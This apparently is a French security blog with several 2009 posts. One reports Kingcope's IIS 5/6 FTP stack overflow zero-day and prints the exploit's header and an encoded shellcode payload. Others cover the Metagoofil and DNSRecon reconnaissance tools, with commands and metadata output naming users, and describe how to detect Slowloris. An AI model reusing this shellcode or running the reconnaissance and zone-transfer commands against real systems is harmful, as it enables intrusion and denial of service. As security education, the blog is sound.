IIS5 & 6 FTP Stack Overflow 0day

Kingcope a diffusé, aujourd’hui dans la journée, sur la mailing-list Full Disclosure, un 0Day visant IIS 5 et 6 par le biais du service FTP intégré dans IIS de Windows 2000. Ce 0Day à plusieurs comportements :

– pour IIS 5 sous Windows 2000, l’exploit fournit un accès shell au serveur permettant de le compromettre, mais requiert une authentification quelconque (par exemple anonymous, client d’oeil à Damien ….), et que l’utilisateur FTP puisse créer un répertoire. Difficilement exploitable en anonymous smile.gif

– pour IIS 6 sous Windows 2003, l’exploit permet d’effectuer un déni de service (DoS) sur le serveur web, rendant celui-ci inaccessible. (va y avoir du DoS dans l’air).

#Microsoft Internet Information Server 5.0/6.0
#FTP Server Remote Stack Based Overrun
# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 - KEEP THIS 0DAY PRIV8

Pour se protéger de ces tentatives d’exploitation, biensûr ne donner un accès FTP qu’à des utilisateurs de confiance.

Il est aussi possible de détecter cette attaque par le biais de l’IDS Snort avec la règle VRT : (ftp_telnet) FTP command parameters were too long

SITE KSEXY‰âÚÞÙrô[SYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLJHPDC0C0C0LKG5GLLKCLEU
BXEQJOLKPOEHLKQOQ0C1JKG9LKGDLKC1JNP1IPLYNLLDIPD4C7IQIZDMC1IRJKL4GKQDFDC4CEJELKQOQ
4C1JKCVLKDLPKLKQOELEQJKLKELLKEQJKK9QLFDDDHCQOFQL6CPPVE4LKPFP0LKG0DLLKBPELNMLKBHEX
MYJXLCIPCZF0CXL0LJDDQOCXJ8KNMZDNPWKOJGBCBME4FNBED8CUGPFOE3GPBNBECDQ0D5D3E5D2Q0CGC
YBNBOCGBNQ0BND7BOBNE9CGGPFOQQPDG4Q0FFQ6Q0BNBED4Q0BLBOCSE1BLBGCBBOCEBPGPG1BDBME9BN
BIBSCDCBE1D4BOCBCCGPBWE9BNBOBWBNGPFOG1QTQTC0AAVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVV

Metagoofil, analyse de métadonnées oubliées

Lors de la phase d’approche d’un pen-test, il est toujours intéressant de récupérer un maximum d’informations sur sa cible. Metagoofil, développé par Edge-Security, permet la récolte d’informations par le biais des documents disponibles sur Internet.

Metagoofil se chargera d’extraire les “métadonnées” de différents types de documents (pdf ,doc, xls, ppt, odp, ods), d’un nom de domaine cible, disponibles sur Internet. Pour ce faire, Metagoofil va interroger Google, et utilisera les options de recherches avancées du moteur de recherche pour cibler les extensions de fichiers (filetype:pdf site:zataz.com, par exemple).

  • Les options de Metagoofil sont les suivantes :

usage: metagoofil options

-d: domain to search
-f: filetype to download (all,pdf,doc,xls,ppt,odp,ods, etc)
-l: limit of results to work with (default 100)
-o: output file, html format.
-t: target directory to download files.

Example: metagoofil.py -d microsoft.com -l 20 -f all -o micro.html -t micro-files

Comme vous pouvez le voir, Metagoofil propose de filtrer les documents cibles desquels seront recupérés les métadonnées. Il est aussi possible de donner une limite aux résultats retournés par Google, d’enregistrer un rapport d’activité HTML et de spécifier le répertoire cible des documents qui auront été téléchargés.

  • Le rapport d’activité vous donnera les informations suivantes :

– URL d’où le document a été téléchargé.
– Un lien direct vers le document sauvé en local.
– L’extrait des metadonnées.

  • Les metadonnées peuvent contenir des informations juteuses, tels que par exemple :

– La date de création du document
– La date de dernière modification du document
– Le logiciel et la version de logiciel utilisé pour créer le document.
– La langue par défaut dans laquelle le logiciel a été configuré pour éditer le document
– Le nombre de pages, de caractères, de mots, paragraphes et de lignes du document
– Le nom du template utilisé pour la création du document
– Le type d’imprimante ayant généré le document
– Le chemin d’accès de stockage du document
– Le nom de l’utilisateur ayant créé le document (correspond la plupart du temps à l’identifiant de l’utilisateur dans le domaine)
– Le nom de l’utilisateur ayant modifié en dernier le document (correspond la plupart du temps à l’identifiant de l’utilisateur dans le domaine)

creation date - 20040919050429+02'00'
producer - OpenOffice.org 1.1.2
creator - Writer
format - PDF 1.4
mimetype - application/pdf

subject - Image
title -
producer - Canon iR C3380
author -
creation date - 20080320141726+01'00'
format - PDF 1.3
mimetype - application/pdf

title - Microsoft Word - ThreatNews_Flyer.doc
creator - PScript5.dll Version 5.2
author - robert.duschnock
producer - Acrobat Distiller 5.0.5 \(Windows\)
modification date - D:20050905162340+02'00'
creation date - 20050905142137Z
format - PDF 1.4
mimetype - application/pdf

mimetype - application/msword
language - U.S. English
paragraph count - 4
line count - 16
last saved by - eromang
character count - 2019
template - Normal.dot
creation date - 2008-10-28T12:04:00Z
title - qu'il est beau mon document word
word count - 354
page count - 1
creator - dbancal
date - 2009-08-11T17:28:00Z
generator - Microsoft Office Word

DNSRecon, Yet Another DNS Informations Gathering Tool

DNSRecon, outil développé en ruby par Carlos Perez (aka Darkoperator), développeur pour le projet MetaSploit et membre de la team PaulDotCom, est tous comme Fierce, ou DNSEnum, un outil de récupération d’informations par le biais des DNS.

Tous comme DNSEnum, DNSRecon effectue une récupération par le biais des “reverses lookup” d’adresses IP. Mais à la différence de DNSEnum qui va découvrir de part lui même les réseaux associés à un nom de domaine, il faut spécifier à DNSRecon une adresse IP de départ et une adresse IP de fin pour la récupération des “reverses lookup”. Cette option est intéressante, car DNSEnum, dans un certain sens, ne nous laisse pas le choix des réseaux à scanner, tandis que DNSRecon nous donnera cette liberté.

ruby dnsrecon.rb -r adresse_ip_de_depart adresse_ip_de_fin serveur_de_dns_alternatif

Une fonctionnalité que par exemple DNSEnum, ou Fierce, n’ont pas est la récupération d’information automatique sur tous les TLD associé à un nom. DNSRecon va automatiquement regarder si un nom de domaine existe pour un certaine liste de TLD, et fournir directement le ou les adresses IP associées. Il est possible facilement de rajouter des TLD à DNSRecon en modifiant le code (par exemple, DNSRecon n’intègre pas le TLD .lu dans sa liste)

82 "com", "org", "net", "edu", "mil", "gov", "uk", "af", "al", "dz",
83 "as", "ad", "ao", "ai", "aq", "ag", "ar", "am", "aw", "ac","au",
84 "at", "az", "bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bm",
85 "bt", "bo", "ba", "bw", "bv", "br", "io", "bn", "bg", "bf", "bi",
86 "kh", "cm", "ca", "cv", "ky", "cf", "td", "cl", "cn", "cx", "cc",
87 "co", "km", "cd", "cg", "ck", "cr", "ci", "hr", "cu", "cy", "cz",
88 "dk", "dj", "dm", "do", "tp", "ec", "eg", "sv", "gq", "er", "ee",
89 "et", "fk", "fo", "fj", "fi", "fr", "gf", "pf", "tf", "ga", "gm",
90 "ge", "de", "gh", "gi", "gr", "gl", "gd", "gp", "gu", "gt", "gg",
91 "gn", "gw", "gy", "ht", "hm", "va", "hn", "hk", "hu", "is", "in",
92 "id", "ir", "iq", "ie", "im", "il", "it", "jm", "jp", "je", "jo",
93 "kz", "ke", "ki", "kp", "kr", "kw", "kg", "la", "lv", "lb", "ls",
94 "lr", "ly", "li", "lt", "lu", "mo", "mk", "mg", "mw", "my", "mv",
95 "ml", "mt", "mh", "mq", "mr", "mu", "yt", "mx", "fm", "md", "mc",
96 "mn", "ms", "ma", "mz", "mm", "na", "nr", "np", "nl", "an", "nc",
97 "nz", "ni", "ne", "ng", "nu", "nf", "mp", "no", "om", "pk", "pw",
98 "pa", "pg", "py", "pe", "ph", "pn", "pl", "pt", "pr", "qa", "re",
99 "ro", "ru", "rw", "kn", "lc", "vc", "ws", "sm", "st", "sa", "sn",
100 "sc", "sl", "sg", "sk", "si", "sb", "so", "za", "gz", "es", "lk",
101 "sh", "pm", "sd", "sr", "sj", "sz", "se", "ch", "sy", "tw", "tj",
102 "tz", "th", "tg", "tk", "to", "tt", "tn", "tr", "tm", "tc", "tv",
103 "ug", "ua", "ae", "gb", "us", "um", "uy", "uz", "vu", "ve", "vn",
104 "vg", "vi", "wf", "eh", "ye", "yu", "za", "zr", "zm", "zw", "int",
105 "gs", "info", "biz", "su", "name", "coop", "aero" ]

ruby dnsrecon.rb -tld zataz serveur_de_dns_alternatif

De nouveau, tous comme DNSEnum ou Fierce, DNSRecon propose une récupération d’informations “brute force” par le biais d’un fichier contenant tous les sous-domaines que vous désirez tester. Malheureusement, comme Fierce, DNSRecon ne propose pas une mise à jour du fichier contenant tous les sous-domaines qui auraient pu être découverts par les autres options de DNSRecon.

ruby dnsrecon.rb -b zataz.com dns.txt serveur_de_dns_alternatif

Une autre fonctionnalité de DNSRecon est la récupération d’informations basée sur les entrées NS, entrées SOA et entrées MX associées au nom de domaine cible.

ruby dnsrecon.rb -s zataz.com serveur_de_dns_alternatif

Une tentative de transfert de zone est aussi possible par le biais de DNSRecon, tous comme pour DNSEnum ou Fierce.

ruby dnsrecon.rb -axfr zataz.com

Slowloris indétectable ? Pas si sûre que cela.

Jusqu’à maintenant nous connaissons les DoS et les DDoS de bourrins, dont la technique principale est de remplir le tuyau pour rendre l’accès aux ressources impossibles. Ces techniques d’attaques n’étaient pas très discrètes et les contre-mesures difficilement possibles, à part par la mise en place de “IP Blackhole“, ou encore par le prise de contact avec le “carrier” afin de ne plus annoncer la route vers le serveur cible (ce qui revient à un auto DoS ….).

RSnake, un chercheur en sécurité informatique, de ha.ckers, a mis à disposition un outil de DoS lent nommé Slowloris permettant de rendre indisponible un serveur web HTTP d’un hôte cible à partir d’un seul hôte source et cela avec le minimum d’usage sur la bande passante et sur la performance globale du hôte cible.

Slowloris garde les connexions HTTP ouvertes en envoyant sur le serveur HTTP cible de requêtes partielles. A intervalle régulier Slowloris va continuer a envoyer des paquets afin d’empêcher le serveur web HTTP de clore les connexions ouvertes, ainsi le serveur web n’a pas la possibilité de répondre à des sollicitations légitimes.

Suivant le développeur de Slowloris, RSnake, et affirmé dans différents podcast, Slowloris serait quasiment indécelable et permettrait le DoS presque parfait. Malheureusement je n’était pas très convaincu de ces affirmations un peu hâtives. Il est vrai que RSnake avait signifié qu’un grand nombre de “sockets” sont ouverts, et que lors de la clôture de ces sockets, un grand nombre de logs sont disponibles par le biais du serveur web. Déjà trop d’indices pour que cela aussi discret que prétendu.

De bons administrateurs systèmes auront mis sous monitoring leurs serveurs web et seront avertis rapidement d’un DoS en cours sur un serveur web. Voici les empreintes d’une attaque pouvant provenir de Slowloris.

Un grand nombre de connexion ouvertes sur le serveur :

[root@fedora ~]# netstat -tan | awk -F " " '{print $4}' | grep xxx.xxx.xxx.xxx | grep 80 | wc -l
487

Un serveur web présentant un nombre de “fork” hors de la normale :

De nombreux messages d’erreurs dans logs d’erreurs HTTP :

De nombreux logs de connexions anormaux dans les logs d’accès HTTP :

Un monitoring des caractéristiques du serveur web qui devient indisponible :

Par le biais de tous ces indices il est clairement possible de détecter une attaque du type Slowloris et ainsi de bloquer rapidement la source de cette attaque.